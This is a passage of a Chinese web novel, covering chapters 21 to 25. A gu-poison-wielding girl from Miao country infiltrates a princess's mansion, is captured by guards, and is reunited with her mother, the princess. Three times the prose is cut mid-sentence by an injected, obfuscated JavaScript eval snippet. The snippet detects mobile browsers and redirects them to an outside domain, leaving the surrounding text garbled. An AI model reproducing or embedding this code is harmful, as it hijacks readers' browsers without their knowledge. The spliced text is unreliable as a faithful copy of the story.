偏偏就在此时,远处的水榭里骤然喧哗了起来。 “来人!有刺客!有刺客!” “快!保护太子殿下!保护太子殿下!” “长公主殿下!殿下莫要上前!” 箭矢的破空声、瓷器摔在地上的破裂声、婢女的尖叫声接连响起,鬼面人骤然分神望去——但仅仅是这个瞬间,那少女已经挣脱了他的束缚,在几个起落之后飞出了这个园子。 “……” 鬼面人看着她离去的方向,没有再追。只强忍着体内的灼痛,从怀里掏出了一只小巧瓷瓶将里面的药丸囫囵咽下,向水榭的方向疾奔而去。 21. 刺客 晓山青有点后悔。 从苗疆到长安这段路里,她还真没碰到过这种情况。没想到到了长安,人还未见到阿娘,就碰到这样一个完全克她的人。 这世间克她的人有许多种。 一种是如同谢歧那样,既知道怎么下蛊,又知道怎么解蛊,因为知己知彼,所以相生相克。一种是如同她阿爹那样,用药如神,生死人肉白骨,不把她那点小手段放在眼里。但蛊术很难,顶尖的岐黄之术比蛊术更难,这世间或许会有第二个、第三个谢歧,但如她阿爹这般的人物在二十年内绝不会再有。 最后一种,也是她最怕的一种——当对手的武力完全凌驾于她之上、单凭一只手就能拧断她的脖子的时候,她连用蛊的机会都不会有。 没有一点法子。打不过,只能逃。 “……我就不该来这什么芙蓉园。” 她捂着脖子在暗夜里狂奔,挑着小路往平康坊跑。 宋寅在荆州时给她看过长安的地图,她记性还算得上不错,一眼就记住了长公主府邸的位置。 靠假路引顺利混进了长安城后她本想直奔公主府,然而路过东市的百会楼时她停了停脚步,恰好听到有人说瞧见了长公主的马车正往芙蓉园去——她脚步一转,便换了个方向。 现在好了,她不仅白仙丢在了那里,还用掉了赤翅蛊。白仙尚且还能自己寻到她的位置,但赤翅蛊就不一定了。到底是听蛊哨行动的虫子,比不了白仙,不知道还能不能飞回她身边来。 晓山青边跑边心疼自己的蛊,不一会儿的功夫,便到了平康坊。 平康坊位于最靠近皇宫朱雀门的位置,而昭宁长公主的府邸正位于平康坊最好的地段,四周皇亲贵族、阀阅世家如众星拱月般围绕着长公主府。这一次晓山青没有贸然行动,而是在周围转了几圈——然后悄悄从杂役的居所里翻了进去。 好吧,还是算不上有多高明。但晓山青实在是有些累了。 才从鬼面人的匕首下救回自己的小命,又不得不一路上跳下窜地跑路,她急需一个温暖的、有食物的地方来犒劳一下自己。 她在大而幽静的荷花池边找了棵树,把自己的包裹丢了上去,然后干脆利落地找到了长公主府的后厨,从窗子里跳进去拍了拍厨子的肩膀。 “嘿。”她主动出声说。 果然她看到那个守着灶火的厨子惊恐起来,整个人僵硬像一根冻住了的柴火。 晓山青咧嘴对他笑了一笑。 很好,厨子变得更惊恐了。他的脸完全皱成了一团,像一颗被人嗦了又嗦的果核。 “你……是人……还是……鬼?”他磕磕绊绊地讲。 晓山青看着好笑,学着那些话本子里的女鬼的样子在他耳边悠悠地吹了一口气:“我……当然……是……人。” “那……那你……为什么……没有……”厨子喘得像是一口气要上不来了一般,“没有……没有……脚步声……” 因为我是从窗户里跳进来的。晓山青想。 当然她没把这句话说出口,只是笑嘻嘻地说道:“你猜?” “还……还有……你……身上……为什么……那么……冷?”厨子哆哆嗦嗦地转过来看她。 晓山青有点失语。 好了好了,不要再说了——她为什么会到后厨来?还不是因为跑出了一身汗的她快要冻死在长安的秋风里了!她也没想到长安的秋天会那么冷,就算换上了夹袄也还不够吗!她们苗疆哪有这样的秋天啊!!! “……所以我才进来借个火呢。”她幽幽地说道,顺便一把按住了厨子的脑袋,把那个抖成筛子的脑袋转了回去。 “罢了,”她又想了想,“你还是先睡会儿吧。” “……什……什么?” 厨子的眼睛又瞪大了一点,那眼珠子简直是快脱离了他那本来就不大的眼眶,同时,他的嘴皮子忽然让人惊叹地利索了起来!便是晓山青也没料到他能一口气吐出那么多字眼来! “女侠饶命啊女侠饶命啊小的上有八十老母下有嗷嗷小儿托人谋一份长公主府的职位糊口已用光了小人的往日积蓄若是小人这就去了小的那一家七口人可怎么办啊——女侠饶命啊啊啊啊啊啊!” “哒。” 是人倒在地上的声音。 晓山青收回了按在厨子颈侧的手,把厨子规规矩矩地放平到了地上。然后坐到了他的位置上,舒舒服服地烤起了火。 一边烤火,一边叹气:“……唉,睡一觉而已,怎么像是要他的命一样呢?” * 长公主府邸的后厨无疑是很舒服的。 庖厨的每一个角落都收拾得干干净净,不见半点油污水渍。桌上备着各种新鲜的果蔬,青翠的菘菜葵菜、饱满的胡瓜、带着泥的莲藕,甚至还有一篮子红得可爱的果子,水灵灵的,还带着露水。梁上挂着几串收拾得很好的腌肉与腊肠,墙边有橱柜用来放米面豆腐,还有个带纱帐的小柜子,用来摆一些炸好了的小点心。 柴火噼里啪啦地烧着,灶上正拿文火慢慢炖着两个陶瓮。左边的瓮里翻滚着几块炖得酥烂的蹄髈,汤面上零星点缀着几粒艳红的枸杞。右边的煨着嫩白的豆腐汤,汤色奶白,隐约可见几段嫩黄的姜片与在其中浮浮沉沉的菌菇。 晓山青闻着味揭开了盖子,忍不住眼前一亮。 哎呀呀,那么大的两瓮汤呢! 晓山青想。 她悄悄地盛出来一点,尝尝味道,应当不碍事吧? * 有人推开了门。 就在她慢慢地尝完了一碗火腿蹄膀汤,又尝完了一碗鲜菌豆腐汤之后,晓山青听到了身后的脚步声。 很轻,是练武之人。但因为来人没有刻意收敛落脚的力道,所以还算不上完全的悄无声息。 她的余光瞥到有人走过来检查了厨子的脉搏与呼吸,又走回去回了话。 但她依旧坐在那里,没有回头,只是继续咽下了嘴里的豆腐,舒喟地叹了一口气。 “阁下可喝完汤了?”站在她身后的人总算开口了。 “喝完了。”晓山青把汤碗放到了灶台上,然后点了点头。 “那阁下请吧。”那人淡淡地说道。 光嘴上说得好听。晓山青暗自腹诽,背后还拿把刀抵着我呢。 这群人的动作很快。她被蒙住了眼睛,反绑住了双手,丢到了一处院子里。 等到遮眼的罩子被摘下来时,她忍不住沉默了。 “……你们这是,想让我解蛊?”她古怪地回头望去。 带她过来的人正站在她身后,穿着一身与宋寅相似的衣服,此时已摘面罩,因此晓山青一眼便看到了他的脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488523|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 剑眉星目,算得上长得不错。但她见惯了谢歧那张脸,因此心里也没什么波澜。 “是。”那少年言简意赅道,“请阁下出手。” 晓山青抬起被绑住的双手,举到了他眼前。 少年:“……” 他给她解了手上的绳子,但又给她绑上了脚。 “……你脚上的功夫比你手上的厉害。”少年解释道。 晓山青怒了:“你的意思是我就算拿到你的刀也对你们没什么威胁?” “我没见过你用刀,但你手腕的劲力不够,只能用巧力,刀法必然以借力打力为主,若是遇上此中高手,自然弱势。更何况你本就不靠刀法,而是靠蛊术。”暗卫少年道,“……你下蛊的功夫又比你脚上的功夫更厉害。” 晓山青撇嘴:“蛊确实是我下的。” “但要解蛊……”她忽地把两手一摊,“要不你求求我?” “阁下怕不是忘了,你的身家性命还在我们手中。”少年回头凝视她。 “可我便是出手了,身家性命还是在你们手中。”晓山青看了看院子里一圈绕着她的或坐或立的黑影,“你们又不会放了我。” 这次少年没有说话了。他露出了一副“言尽于此”的神色,然后微微动了懂手上的刀。 晓山青:“……” 她作为一个“阶下囚”还能怎么办?只能顺着背后力道走进屋子里去。 这是一间很简陋的屋子。 其实从外面并不能看出来。 刚刚她四下扫了一眼,院子里好歹有一口水井,井边有练功的木桩,还有一棵枝干上系满了红绳的楸树。而一进屋内,她只觉得空荡。除了一张床、一张椅子、一个柜子,这雪洞一般的屋子里什么也没有。 坐在床沿的鬼面人把蒙面的黑巾换成了半副黑铁面具,正往手臂上缠布帛,显然是在刚刚的那场刺杀里受了伤。 晓山青看了看他面具下红疹已开始慢慢褪去的皮肤,惊奇道:“你吃了什么?” “我徒弟莽撞,我代他向姑娘道歉了。”鬼面人开了口,冷冰冰的声音摩擦过晓山青的耳道,让她忍不住想抬手揉一揉耳朵,“还请姑娘出手解蛊吧。” “你说错了。”晓山青摇了摇头,“你没有中蛊。” “怎么,这是死到临头了还不认账?” 背后忽然传来了一道粗声粗气的声音,相当突兀地横插进她的话里。 晓山青惊讶地回头看去。 原来在院子里的其他暗卫已经靠了过来,一个个堵在门口与窗口,把原本就不大的房间挤得拥挤不堪。 “你是他们的头头?”晓山青转回去问,“……你手下的文化素养好像有点参差不齐呀?” 鬼面人:“……” 空气尴尬地沉默了下来。 似乎有人咳了咳,又有人拍了他一下,于是这点咳嗽声也消失了。 晓山青就在这一片寂静里浑然不在意般笑了笑,自顾自继续说了下去:“你只是中了蛊毒,但蛊并不在你身上。眼下蛊毒已被你吃的东西压制住了,就算我不出手,你也死不了。” “解蛊毒的方法我也有,”她看了看就站在她身边的暗卫少年,“我要半碗公鸡的鸡冠血,一把小米,还有一炷香。” “好。”少年低声应道,“你等我。” 23. 阿娘 “等等。” 晓山青跟在美人姐姐身后还没迈出一步,就听见枕流抢先叫住了她。 “……我给你松绑。”他有些不确定地抬眼看了看屋内,然后走了过来,单膝跪到了她脚旁。 周围响起了一片低低的抽气声。 连晓山青也没忍住,倒吸了一口凉气,试图拒绝:“那么麻烦吗?你拿刀把绳子挑开就行……” 但滚烫的触感已从脚踝上传来。 接着是枕流低声解释的声音:“我怕误伤了……误伤了姑娘。失礼了。” ……上一个这么握住她脚踝的还是谢歧,是为了帮她……呸,帮她?那个姿势爽到了谁?不还是帮他自己吗? ……晦气,还是不想为妙。 晓山青一时间僵在了原地,动也不是,不动也不是,只觉得他还不如继续拿着他的刀抵她背上呢。 “那个,要不,这位……还是叫我阁下吧?”她艰难地转动眼珠子。 “我叫枕流。”跪在她脚边的少年抬起头来看她,好像有些欲言又止。 晓山青:“……” 我知道你叫枕流,但是你突然介绍自己是怎么回事?我们已经熟到了能够互换姓名的地步了吗? “哦。”晓山青实在想不出什么话来接这个话题,只能干巴巴地念出了她的苗语名字:“我叫……” “好吧,你们可能听不懂,意思是……算了,我叫晓山青。” “晓?”枕流愣了一下。 “对。”晓山青难得有点不自在,尝试着动了动脚,没想到一个不稳,险些把自己绊倒。 幸好蹲着的枕流反应很快,起身抓住了她的手。 “多谢。”晓山青看了看扶在她腕上的手,目光飘忽了一下:“你怕蛇吗?” “什……” “不,没事。”晓山青摸摸鼻子,岔开了话题,“解开了吗?那我走了?” “好了。”少年轻声道。在他飞快地把手从她手上移开的同时整个人也疾风般一荡,不过眨眼的瞬间就退却了到了几步开外。 好俊的功夫。 晓山青还想多看几眼,旁边一直默不作声的美人姑姑却忽地插口进来。 “这是个好名字。我记得这句诗——但远山长,云山乱,晓山青。” 她低声念出了这句话,随即莞尔一笑,一面提着灯替晓山青照亮脚下的道路,一面引着晓山青款款离去。走出了院子,她才继续问道:“这名字是谁给你取的?” “是我阿爹取的。” 此时她们走上了一条两边栽种着玉兰的小路,玉兰枝叶繁茂,不过几个转身,向后便已看不到那间楸树小院了。 路上有石灯忽明忽暗地照着。晓山青一边好奇地打量着周围,一边不忘回答美人姑姑的问题。 “你阿爹不让你随他姓吗?” “我阿爹的汉名不也是我阿娘取的?”晓山青不以为然,“更何况我阿爹说了,我是从阿娘的肚子里出来的,我阿娘为了我吃了好多苦呢,凭什么让我阿爹白捡了这个好处?” 美人姑姑轻轻地笑了一声,摇头道:“是你阿爹会说出来的话,他向来活得比我们这群庸人通透。” “姑姑……” “喊我齐云姑姑便是。” “齐云姑姑认识我阿爹?”晓山青从善如流地改了称呼。 齐云姑姑听到这句话时忍不住微微怔了一下,随后垂眸笑了起来:“我也算得上公主身边的老人了,倒是没想到时间过得那么快……” “自公主带了你阿爹回来,一晃竟快有二十年了……我那时见过你出生时候的样子,那么小,红红的,皱巴巴的,一点也看不出我们长公主的风采……” “可是谁也没想到,谁也没想到会发生这样的事……你阿爹带着你离开,竟又是十六年过去了……” 她就这样轻轻地、絮絮叨叨地说着话,带着晓山青穿花拂柳地往里走。 穿过几个门洞,走过几条长廊,走到了一幢飞檐翘角的楼宇前。 晓山青不免有些紧张起来。 她快走了几步,追到了齐云姑姑的身边:“齐云姑姑,我在见……公主前要不要洗漱一下?” “不用。长公主过去也是跟着太祖上马打过仗的,不会在意这个。” “那,我身上带了些乱七八糟的东西,不用被查查吗?”晓山青有点心虚。 “在洪统领那儿时不是搜过了吗?”齐云姑姑嫣然笑道。 是搜过了。但除了她放在包裹里的东西,其余的都被她用了些小手段转移了,嗯,他们只搜出来一些瓶瓶罐罐而已。 “何况今日当值的是漱石,那孩子很厉害……若你是刺客,以你的身手,怕是没办法靠近公主七步之内。” “可是七步之外杀人的法子也多的很啊。”晓山青理所当然地说。 她似乎没有意识到,与这样一个柔软又美丽的美人讨论“杀人”的事是非常不妥的,因为晓山青已经习惯了弱肉强食这样野蛮的规则。但对于齐云来说,似乎也是同样的——待在昭宁长公主身边,她已经习惯了各种各样的刺杀,过去是来自那些被赶走的蛮子,现在是来自那些长安的“政客”。 “是。” 因此这个美人只是很自然、很平和地笑道:“可你已身在公主府内,想在这里刺杀长公主又能全身而退的人恐怕还没有出生。” “……倘若有,”她的声音忽然冷淡下来:“他只会后悔自己出生在这个世上。” 晓山青没有被齐云姑姑冰冷的语气吓到。 因为她想,不,有的。 还是有的。 但那人不会杀死我的母亲。 他将坐上那把尊贵的、独一无二的椅子,然后把我母亲的尊严丢在地上,磋磨践踏,把“圈禁”当做他高高在上的施舍、他彰显仁慈的礼物。 一直走在前面的齐云姑姑终于停下了脚步,转过身,正色道:“不用担心这些。” “你现在只需要想清楚一个问题的答案。好姑娘,你想好了要跟谁姓了吗?” 她站在台阶上,很温柔地摸了摸晓山青的头发,“若是公主问了你这个问题,你千万要好好回答。” “你一定要知道自己想要什么,我的好姑娘。” 晓山青仰头去看她。 齐云姑姑就这样提着这盏灯站在那里,风从她的背后吹来,绿罗裙的裙裾在风中微晃,灯中的烛火也跟着一起轻轻摇曳。 在这场风中,晓山青又觉得冷了起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488525|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 “……那要见我的,是我阿娘吗?”她轻轻地问出了这个问题,“还是说,今夜要见我的只是昭宁长公主殿下?” “我没办法告诉你答案。但在过去的二十余年里,在所有人面前,公主永远先是公主。” 齐云姑姑依旧微笑着看着她,然后转身推开了背后的门。 * 在晓山青过去的十六年人生里,无数次地想象过这一刻。 从很小很小的时候,还在每日被迫吞咽一海碗的苦药时开始,她就想着她的阿娘定然是天上的仙女。阿爹说还有很多人在等着她阿娘,所以她要好好地喝完这碗药,等她的病好了,阿娘就来看她了。晓山青握着甜甜的饴糖,心想,那她阿娘一定会穿着闪着光的裙子,被山神娘娘的七彩云朵送回她身边。 后来等她懂事了,也慢慢想明白了她阿娘大概不是什么天上的仙女。然而她跑去问阿爹,阿爹非要说她阿娘就是来拯救人间的仙子,否则凭什么要管那么多人的死活?刚刚安慰好自己的晓山青被气哭了,她想不通阿娘既然真的是会飞的仙子,那为什么还不来看她。她嚷嚷着要自己去找阿娘,她阿爹随手一指,她就蒙头冲了出去……然后晕死在了林子里。 再后来谢歧就来了。晓山青偷学了他的坏心眼,悄悄摸到了阿爹的书房,学会了去翻那些被她阿爹夹在书里的东西,自己拼凑阿娘的样子——她阿爹仗着过目不忘的本事常常乱放东西,刚好方便了她。她借着阿爹的眼睛看阿娘,那副与她相似的眉眼就这样慢慢在她心里构建起来。于是她开始离家出走,一次次翻越山林,一次次被谢歧或者阿爹抓回去,然后再安静地等待下一次。 她已经等了多久呢? 十六年。一百九十二个月。五千八百余天。 她的一生又有多长呢? 她还有多少个年月日可以用于等待? 晓山青从那个梦里仓惶地惊醒,她觉得她不能再等了。她不接受命运给她阿娘安排的仓促结局,她要到她阿娘身边去。带着她的蛊,她的武器,她的眼睛,她的指甲和牙齿。 她这样千里迢迢、翻山越岭地来,只为了听到这扇沉重的乌木雕花门发出的声响。 在晓山青过去的十六年人生里,她无数次地想象过这一刻。而现在,门开了。 光驱散了黑暗。 齐云姑姑已恭顺地低下了头。晓山青看了看她,然后一步步走进了门内璀璨的光里。 她看到了那一双妩媚的眼睛朝她望了过来。 不是她幼时聊以□□的幻想,不是她荒诞又真实的梦境碎片。 是她的阿娘。 是将她十月怀胎,为她在鬼门关里走过一遭的人。 阿爹反复、反复地告诉她,这世间若是还有人会毫无缘由地爱她,那一定是她的阿娘。她那远在长安、不曾与她相见过的阿娘。 晓山青此时才惊觉她原来真的和阿娘那么像。 那些担忧、害怕、小小的猜测与顾忌,在这双眼睛望过来的这一刻通通消失了。 晓山青翘起了嘴角。 她才不管她身上有多脏,有多像在泥地里打过滚。 她只是如同一只灰扑扑、脏兮兮的小鸟一样,很委屈地扑进了阿娘的怀抱。 24. 因果 无论从哪个角度看,这都是一间很美丽的房子。 它有着弯弯的如同月牙一般的檐角,琉璃一样的瓦片,窗杦上是描了金的喜鹊登枝图案。 而走到里面的时候,晓山青先看到的是几重被银钩钩起的茜色纱幔。纱帐之后,有烟雾自博山炉中腾起,空气中泛着安神香料的味道。一张月牙桌放在窗边,桌上摆着一盆开着正艳的海棠。 再往纱帐里走是一间暖阁,铺了厚而软的绒毯,毯上是缠枝莲纹的纹理。暖阁里最舒适的位置放了一张美人塌,塌上有小几,侧面则用一架多宝格隔开了视线,隐约能见到小书房的轮廓。 昭宁长公主正坐在小书房的书桌前,手里捧着一卷闲书,听见她过来的动静,笑吟吟地抬头:“怎么样,还冷吗?” “不冷了。”晓山青摇头。她刚刚从暖融融的热水里出来,浑身上下都舒服极了。 幼时她身上余毒发作时便会手脚冰凉。刚刚阿娘一摸到她冰凉的手,怕受凉又引出余毒,都没好好地与她讲几句话,便把她赶去了后面的浴池。 “那就好。”灯下的华贵美人轻轻地瞪了她一眼,伸手过来摸了摸她的手,又摸了摸她还湿着的发尾,“方才一摸到你的手,简直冰得我心口一凉,现在总算好了……怎么没叫她们给你烘一烘头发呢?” 她放下了手里的书卷,牵着晓山青坐到了暖阁的美人塌上。 “你坐到这里来,这里暖和。” 已有婢女捧着一叠干的布巾过来,垂首奉到了两人面前。 昭宁长公主便随手拿了一块,盖在晓山青乌黑的长发上慢慢揉搓,揉着揉着竟然渐渐笑出了声来:“……你和你阿爹当真给了我好大一个惊喜。” 晓山青并不傻,想了一想便明白了,忍不住轻轻地哼了两声:“阿爹可没说他来找阿娘了,他诓我说他去采药了。” “不怪他。”昭宁长公主道,“他不放心把你带过来,那么长的路,你又还是个孩子。” 她叹了一口气:“怎么忽地长那么大了呢?我一直以为你还是一个小孩子,没想到一见你,竟已是那么大了……与我前几日午憩时梦到的样子生得一模一样。” 晓山青的眼睛一下就亮了起来。 “阿娘,阿娘,”她轻轻地推了推阿娘的手臂,“你能再讲一次是怎么一眼把我认出来的吗?” 昭宁长公主失笑:“这有什么好再说的?哪有当娘的认不出自己的骨肉?” “可是我晒得那么黑,身上又那么脏。”晓山青歪头:“我走在街上,都有人把我当作乞儿。若是我真的像乞儿一样坐在长安的街角,阿娘也能认出我来吗?” 昭宁长公主轻轻地摇了摇头。 “我说不准。” “但是阿青,只要你是我的女儿,你就不会坐在长安的街角。” “从你出生开始,我的眼睛就没有离开过你。”她伸手摸了摸晓山青的眼睛。这是母女俩最相像的地方,从轮廓到眼尾的弧度,可以说的上一模一样,“如果你还在苗疆,你的阿爹就是我放在苗疆的眼睛。” “而等你出了苗疆,你的路引每过一个关卡,都会有人飞鸽传书告知于我。譬如你刚刚进了长安城,”昭宁长公主莞尔道:“小半个时辰后,我就已从城门处拿到了消息。” “可是我的路引……”晓山青愕然。 “是假的对吗?” “你走了四五个城池后便有人发现了。”昭宁长公主很妩媚地勾唇笑了一下:“如今特殊时期,我朝设有官员监管流民的流动方向,可鲜少有人如急行军般一口气从荆州赶到长安啊。若非我打了招呼,阿青恐怕已早早被人拦下盘问了。” “原来如此。”晓山青喃喃道,“难怪从没有人拿路引为难我,我还以为是宋寅帮我打点过了呢。” “这便是第一个教训,阿青。”长公主垂下眼睛,淡淡道:“长安不是苗疆,这里到处是眼睛。若你当真成了县主,有的是人想要在你身上图谋些什么东西。防不胜防。偌大的长安城中,便是阿娘手眼通了天,也有看顾不到你的地方。” “……好了好了,公主殿下是在教姑娘什么呢,怎么忽地收了笑?” 旁边有一穿着件宝蓝衫子的年长侍女捧着一叠乳白色的点心放在了晓山青面前的小几上,又往晓山青的方向递了递,“先不忙讲话,叫姑娘拿这盘牛乳点心垫垫肚子,是我刚从小厨房里端来的呢。” 昭宁长公主没有一点被打扰的恼意,只转头嗔道:“齐云呢?”又对晓山青介绍道:“这是你挽霞姑姑,与你齐云姑姑一样,呆在我身边已有许多年了。” 挽霞姑姑笑道:“在外面守着呢,怕人扰了长公主与姑娘。” “偏她最谨慎。”昭宁长公主笑着摇了摇头,把手上的布巾放到了她的手里。 挽霞接过了捂湿的布巾,从袖子里掏出了一条白帕子来亲自帮晓山青包了头发,又把烧了炭的小炉子挪了挪:“如今已快到初冬,姑娘又是洗了头,还是莫着凉了好。” 晓山青乖乖应了一声好。 昭宁长公主手上没了东西,只支着头看她们:“瞧瞧,往日里还说齐云操心,如今在这里忙里忙外的又是谁?” 又朝晓山青眨了眨眼睛:“阿青,你可记住了?这位可是我们公主府里的管家婆,若是短了银钱,便去找她撒撒娇。我们挽霞姑姑手里漏出来一点东西,可够养活咱娘俩了。” 晓山青“唔”了一声,也悄悄学着阿娘的样子眨了眨眼睛。 看来这位挽霞姑姑是管着长公主府里的库房钥匙,而领着她来的齐云姑姑大约管的是别的事儿。 挽霞姑姑只道:“好公主,可别挤兑我了。我如今好歹也是个姑姑了,这话若是让我手下的小丫头们听见了,我可怎么做人?姑娘也别信了这促狭话,若有什么事,直接唤了我与齐云来就是,莫要拘束了自己。” 说着,送上了两盏清茶,便带着身边两个丫头移步去了外间。 暖阁里一时又只剩下了母女两人了。 桌上一只错金的小香炉正悠悠地燃着香,炉顶仙鸟的长喙里一缕烟雾蜿蜒飘出,轻轻细细地融入了空中,消失不见。 昭宁长公主抿了一口茶盏,一边思虑着什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488526|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边拿指尖轻轻叩击着杯壁。 “阿青,你想要改名字吗?” “跟阿娘姓吗?”晓山青有点雀跃,“好呀!好呀!” “你阿爹一直都是个聪明人。”昭宁长公主低头笑了笑:“晓,萧,换成萧倒也好听。何况你是个女孩儿,也不必随皇子从‘元’字。” 她细细咀嚼着这个名字,眼睛越来越亮:“萧山青,萧山青,真是大气。竟与你太祖的名讳能拼一拼高下。” “可阿青你想好了吗?若当真跟着阿娘姓了此姓,受了天下百姓的供养,可不能再如你阿爹一样闲云野鹤,独善其身,当个逍遥一世的闲人了。” “受,百姓,供养?”晓山青愣住了。 百姓的供养是什么? 是那个当垆卖酒的小妇人所酿的酒吗?是那个赶着牲口往西市的肉铺走的男人所养的猪羊吗?是老阿伯一大早从庄子里出发、急匆匆往主子的府上所送的瓜果蔬菜吗? 还是她路过百会楼时,听到的那些摇头摆脑的年轻人所念的诗,所作的文章,所说的“民脂民膏”? 晓山青不明白。 她的认知是那样浅薄,不足以帮助她理解这全新的四个字。 “你要记得,凡是皇亲贵族,所享用的份例,从所穿一针一线到所食一米一水,都是取之于民。有朝一日,若有用的着你的地方,需亲身相还。” “阿青,若是你不想,便在阿娘身边挂个义女的名头,当个闲人也好。也不必拘在这长安,天地之大,你想走就走,想来就来。” 阿娘还在轻声解释,可晓山青已经囫囵开了口。 她含糊地抢白,声音又慢慢坚定起来:“……可我不想要这些,我只想跟在阿娘身边。” “阿娘,我只要我的阿娘。” 晓山青感受到阿娘的目光落到了她身上。 许久之后,她才看见阿娘摆了摆手:“罢了,此事还不急,就算要给你封个县主,也得把你带到宫里,给你舅舅与外祖母瞧上一瞧……倦了吗?你今日也上蹿下跳地跑了一天了,我让挽霞领你去睡觉。” 晓山青抱着点心盘子,小心翼翼地觑了眼阿娘:“不困,但我想与阿娘睡。” “那不行,阿娘还有些事要处理。”昭宁长公主长叹了一口气,点了点她的额头,“阿娘睡的晚,起得早,怕扰了你。” “阿娘……” “她们应当是收拾了隔壁的梨落院,从小门过去,几步就到了。”昭宁长公主想了想,又妥协般叹道:“阿娘就在这里,你若是做了噩梦,不想一个睡,抱着被子来找阿娘就是。” 阿娘,阿娘——我是做了一个噩梦。 晓山青想。我在梦里看到了一些可怕的因果,我真的好害怕,所以我来到了这里。 如果这因果想要应验在你身上,那就先碾过我的□□,碾过这一条你给我的生命。 所以不要害怕。不要害怕,阿娘。 晓山青悄悄地趴过去,然后拉过了阿娘的手,轻轻地、轻轻地把脸贴了上去。 “我好想你,阿娘。”她闷闷地说。 25. 桃枝 除却长公主自己常住的正院与安置晓山青的梨落院,府内还有几处亭台楼阁、香轩水榭。从莲池里引出的垂花溪曲折地穿过大半个府邸,接待男客的前厅与接待女客的花厅隔溪相望,花树做屏,互不打扰。 梨落院是个精巧可爱的小院子,坐落于莲池边上,侧面开了一扇月洞小门与一座桐木拱桥相通,只消过了小桥,便是昭宁长公主平日里起卧的地方。虽说位置毗邻,其间有莲池相隔,又有重重树影相映,若关起小门来,梨落院便是一处独立的院落,自成一方天地。 晓山青坐到柔软的床铺上时,才后知后觉地感到了困倦。有眉眼柔顺的婢女打了热帕子来给她擦手,又有人拿了梳子过来,轻轻地为她通发。而挽霞姑姑在外间走动,压着声音在交代些什么。 晓山青看着身周与她差不多大的几个侍女,忍不住好奇道:“你们知道我是什么人吗?” 那几个穿着一模一样衣衫、束着双环髻的婢女互相看了一眼,有一个机灵些的姑娘上前半步,出来回了她的话:“姑娘是殿下的贵客。” “是吗?”晓山青忍不住看了看身上寝衣的料子。那是一种很轻盈、很柔软的衣料,贴在身上时几乎感受不到它的重量,若把它举到灯下仔仔细细地看,才能看见上面用了很精细的丝线绣了暗纹。 “可我也没觉得我是什么贵人呀。”她忍不住笑了起来,“为什么要那么紧张呢……你叫什么名字?” “奴婢……奴婢名叫桃枝。”那大眼睛的姑娘低声道。 “桃枝?”晓山青跟着她念了一遍。 “若是姑娘觉得这名字不入耳……还请姑娘给奴婢赐个新名。”桃枝似乎没由来的紧张了起来。 “忽惊春到小桃枝。”晓山青在床幔后轻轻地笑了一笑:“我觉得很好。这不是你阿爹阿娘给你取的吗?我不改你的名字。” 桃枝的脸慢慢地透出一些红晕:“姑娘说笑了,奴婢的爹娘都是庄户,哪儿来这样的文采,这是……这是……” 她的声音忽地低了下来:“买奴婢进来的管事姑姑给奴婢取的。” “那你喜欢这个名字吗?”晓山青盘腿坐了起来,一边用手慢慢拢着散在肩头的头发,一边注视着她,“小桃枝?” “奴婢……奴婢喜欢的,”桃枝的声音细若蚊虫,“奴婢阿爹给奴婢取的名字里也有这么一个‘桃’字。” 晓山青“唔”了一声:“那便很好啊,我也很喜欢你的名字。” 她又看向其他婢女,一一问了过去,最后拍了拍手笑道:“好。现在大家也认识了,不必拘谨。如今天色已是晚了,我这里也不必留人,大家都早些去歇息吧。” 桃枝闻言放下了手里的梳子:“姑娘是贵客,怎么能没人守夜?” “守夜?” 晓山青从床幔里探出脑袋,把这个布置得温馨雅致的房间左右扫了一眼,奇道:“你们能睡在何处?” 桃枝怔了一下才轻声答道,“寻常府里,奴才是要睡在脚踏上的,若是得了主子垂怜,冬日里还能睡在薰笼边上。” 晓山青看了看床边本就不宽敞的脚踏,惊道:“这地方还能睡个人?” “姑娘放心,长公主府里没有这样严苛的规矩,”桃枝抿嘴笑了笑,“府里只有殿下一个主子,守夜的常常是挽霞姑姑和齐云姑姑这般得力的女官姑姑,奴婢等不过是在外间搭把手,听候姑姑们的吩咐。但姑娘是殿下看重的人,更是娇客,夜里若是要口水喝,实在得有个使唤的人。” “啊。”晓山青悠悠道,“我算什么娇客。” 她像只小猫一样陷在被子里,脸上泛着被热气熏闷出来的微微红,手上还百无聊赖地摆弄着一束长发。那缕鸦青色的发绕在她指尖,像一段流水一样的丝绸。 “我只是不喜欢有第二个人睡在我旁边。”她轻轻地抱怨道,“小桃枝,你睡在这儿,我反倒会睡不着的呀。” 